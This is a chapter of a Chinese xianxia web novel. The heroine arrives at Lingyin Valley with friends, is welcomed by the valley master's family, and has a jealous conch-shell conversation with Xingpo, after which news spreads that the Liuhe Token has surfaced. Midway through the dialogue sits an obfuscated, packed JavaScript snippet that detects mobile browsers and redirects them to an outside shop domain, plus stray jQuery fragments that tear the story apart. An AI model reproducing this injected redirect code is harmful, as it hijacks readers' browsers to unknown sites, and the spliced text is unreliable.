泠音谷的主殿名叫广乐殿。
广乐殿依山而建,背靠飞瀑,面朝梅林。青石砌成的殿身被经年的水汽润得发暗,檐角挂着几只铜铃,山风穿过时便发出一阵清越而绵长的声响,像是有人在远处轻拨了一下琴弦。
封潇潇跟在陆惊弦身后,拾阶而上。
大殿内传出密密切切的说话声。一男一女,那声音不高,隔着木门,隐隐约约的能听到些什么。
陆惊玉丝毫不客气的一把推开了殿门,提溜着裙摆就往里跑,嘴里脆生生地喊着,“爹爹,娘亲”。
一个穿着藕荷色衣裙的妇人从案后站起来,几步走下台阶,弯下腰将扑过来的陆惊玉稳稳地接进了怀里。
那妇人看着四十出头的模样,眉眼与陆惊玉有七八分相像,只是多了几分被岁月打磨过的柔软与端庄。
她抱着陆惊玉忍不住埋怨了几句:"真是女大不中留,外面那么乱你怎么敢偷跑出去,要是出了事你让娘怎么办。"
她虽是这么说着,可话里话外全是疼惜。两只手紧紧的抱着陆惊玉,不舍得松开。
案后坐着一个穿着藏色长袍的中年男子,面容端正,眉宇间那股气韵与陆惊弦像了个十足十,只是他此刻正吹胡子瞪眼地看着门口那个刚行完礼的儿子。
陆谷主的手指在案面上敲了两下,语气里带着一种恨铁不成钢的无奈:“你作为兄长,没有一点兄长的样子。你妹妹跟着你,好的没学会,坏的倒是学会了不少。惊玉以前多听话的一个孩子,现在都学会偷跑出去了。你这个做哥哥的,上梁不正下梁歪。”
陆惊弦吸了口气,嘴唇动了一下:"她乖?是乖在小时候偷拿柳师伯的胭脂给自己画了个大花脸,还是乖在用笛子锤我的头?惊玉从小就不是个大家闺秀。"
他刚说完就迎来了上面三双夹枪带棒的眼神。
陆惊弦抿了抿唇,心虚的道:"我的意思是……惊玉是个不会被规矩方圆困住的女子,是个自由而独立的人。"
上首的眼光依旧犀利的向他射来。陆惊弦抿了抿嘴,只能乖乖的闭上了嘴。
陆夫人放开陆惊玉,走过来拍了拍陆惊弦的手臂。上上下下将他打量了一遍:“瘦了,也黑了。在外面受了不少苦吧。”
陆惊弦弯了一下嘴角,眼眶中涌出热泪:“挺好的,娘”。
陆夫人抬手拖着他的脸颊,指腹从皮肤上上拂过去,两只手指揪住了他的耳垂:"挺好的?我看你是在外面玩的乐不思蜀了,过年都不知道回家!"
她一边说着一边用力的去拧他的耳朵,直到陆惊弦大声喊疼才收手。
陆惊弦委委屈屈的垂着头,捂着自己的耳朵,一副受了委屈的模样。
陆惊玉则跑到封潇潇几人面前,依次介绍:"娘亲,这几位是我和我哥的朋友。名剑山庄的谢临安,药王谷的温沉萸,这是傅轻狸。"
陆惊玉说着,走到封潇潇身边,挽住了她的胳膊,声音故意拖长了些:"这位是封潇潇,封姐姐。她可厉害了,在天机城多亏了她照顾我。"
她说完这句话忽然踮起脚尖凑到陆夫人耳边,压低声音飞快地说了一句什么。
陆夫人的眼睛蓦地睁大,像是听见了什么不得了的事情。
忽然,她的眉眼弯了一下。
陆夫人走到封潇潇的身前,伸出手轻轻拍了拍她的手背。掌心温热而柔软,像是一层被日光晒暖了的棉花。
她什么多余的话也没说,只是弯着眼睛朝她笑了笑,然后招呼弟子给几人安排客房。
客房安排在广乐殿东侧的竹楼里,与陆惊玉、陆惊弦的院子也不算远。
房间的竹窗正对着梅林,只可惜如今并不是梅花盛开的季节,远远的只能望见翠绿一片。
封潇潇把窗子支起来,在榻边坐下。夜风缓缓吹来,送来阵阵清凉。
她从衣领里摸出那枚小海螺。螺壳贴着掌心带着体温。她凑近唇边轻轻唤了一声:"星魄。"
海螺震动了几下,星魄的声音从里面蹦出来:"封潇潇!你们可是到中原了?"
封潇潇靠着窗框,摇了摇头:"没有,我们现在在姑苏。"
"姑苏?姑苏在哪里?"海螺那边传来了星魄的疑惑声。
封潇潇轻笑一声,娓娓道来:"姑苏在江南,距离中原并不算远。此次我们来姑苏,是为了陆惊弦的妹妹陆惊玉送回家。"
星魄哦了一声:"原来是去泠音谷了。"
他不知道想到了什么,语气里满是笑意:"这么说,你们很快就会到中原了。"
封潇潇颔首称是:"是啊,若是没有意外,我们在泠音谷修整几天就准备上路了。"
星魄小声嘟囔着,似乎对这消息略有不满:"怎么还要修整几天?"
封潇潇叹了口气,解释道:"谢临安受了伤,恐怕要疗养几天。我们入墓时遇到了一些麻烦,大家多多少少都受了点伤。"
星魄立刻紧张起来:"受伤?你受伤了?不过……入墓是什么意思?"
封潇潇喝了口茶水,把这几天的见闻一件一件地讲给他听。
从天机城机关失效到九云山的逐云殿,再到陵墓里的天石。
她讲得仔细,星魄也听得认真,偶尔星魄有听不明白的地方提出一两个问题。两个人就这么有一搭没一搭地说着,直到窗外的月亮一点点地移过梅林的枝头。
"多亏了傅轻狸,身为妖修,他不被天石所影响。"
封潇潇一言已毕,海螺那头却沉默了许久,久到封潇潇以为星魄结束了传音。
"星魄?"封潇潇对着海螺唤了一声。
过了许久,星魄的声音才重新传过来:"傅轻狸是谁?"
封潇潇的手指在海螺壳上微微一顿。心虚来得有些莫名其妙:"就是……就是之前在御兽宗认识的一个妖修。他之前受了伤,我帮过他一次,后来他就跟着我们了。"
"跟着你们?"星魄的声音像根被绷紧的弦,"他一直跟着你?"
封潇潇抿了一下嘴唇:"也……也不算一直跟着我。就是同行。"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944076|210389||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
海螺那头又安静了片刻。星魄的声音再次响起来。只是比方才多了一层咬牙切齿的味道,每个字像是被咬碎了从牙缝里挤出来的:"封潇潇,你是不是在外面四处沾花惹草了?"
封潇潇差点被自己的口水呛到。“没有!”
否认过后她又压着嗓子问道:"什么叫沾花惹草?我什么时候沾花惹草了?"
"没有?"星魄哼了一声,"没有那个什么梨为什么要跟着你?"
他说着说着,语气里醋意十足:"他是不是长的很好看?说话很好听?很会哄你开心?"
封潇潇被他连珠炮似的问题砸得有些发懵。
她揉了揉太阳穴,努力让自己的语气听起来足够诚恳:"他真的就是一个朋友。我救过他,他跟着我是因为……因为他想报恩。"
"报恩?"星魄的声音又高了一线。
对于这些借口,他最是熟悉不过了。
"他就是找借口赖在你身边!"
封潇潇张了张嘴,又闭上了。如果继续纠缠下去,她今晚就不用睡了。
见她沉默,星魄似乎也意识到自己方才说得太急了。
他的声音闷闷的:"……那你答应我,不许到处留情,不许沾花惹草。要是有其他人近身,你一定要告诉我。"
封潇潇赶紧点头,也不管他看不看得见,一味的应承着:"知道了知道了。"
"你发誓。"
"我发誓。"
"以修士的名义。"
"以修士的名义。"
看封潇潇这般配合,星魄终于哼了一声,算是勉强把这件事放过了。
他又缠着她说了好一会儿话,问她今天吃了什么、住在哪里、住的地方好不好……问题琐碎的很。
封潇潇一一答了,又哄了他几句,星魄才心不甘情不愿结束了对话。
封潇潇重新把海螺放回衣领里,伸了个懒腰正要起身去洗漱,窗外忽然传来一阵急促的脚步声。
那声音从广乐殿的方向一路蔓延过来,像是有人在夜色中奔跑,带起一片杂沓的响动。
封潇潇走到窗前往外看时,正好看见对面竹楼的一扇窗也被推开。
谢临安站在窗后,面色比平日里沉了几分。
他的目光越过梅林的方向望向谷口,眉头微微蹙着。
他看了封潇潇一眼,声音不高却格外清晰:“六合令出世了。”
封潇潇微微皱眉:"六合令是什么?"
谢临安不疾不徐的解释道:"地之所载,六合之间,四海之内。六合令即为天地令。正巧,六合令的六也暗指六大门派,是各名门正派共同所制。"
不知道什么时候温沉萸的竹窗也被打开。他站在窗前脸色凝重:"六合令出事关九州,恐怕有大动荡了。"
他的声音从窗那头传过来,被夜风吹散,可每一个字都落进了封潇潇的耳朵里。
封潇潇望着梅林上方那片被月光照亮的夜空,又望了望不远处来去匆匆的人影,不自觉的皱紧了眉头。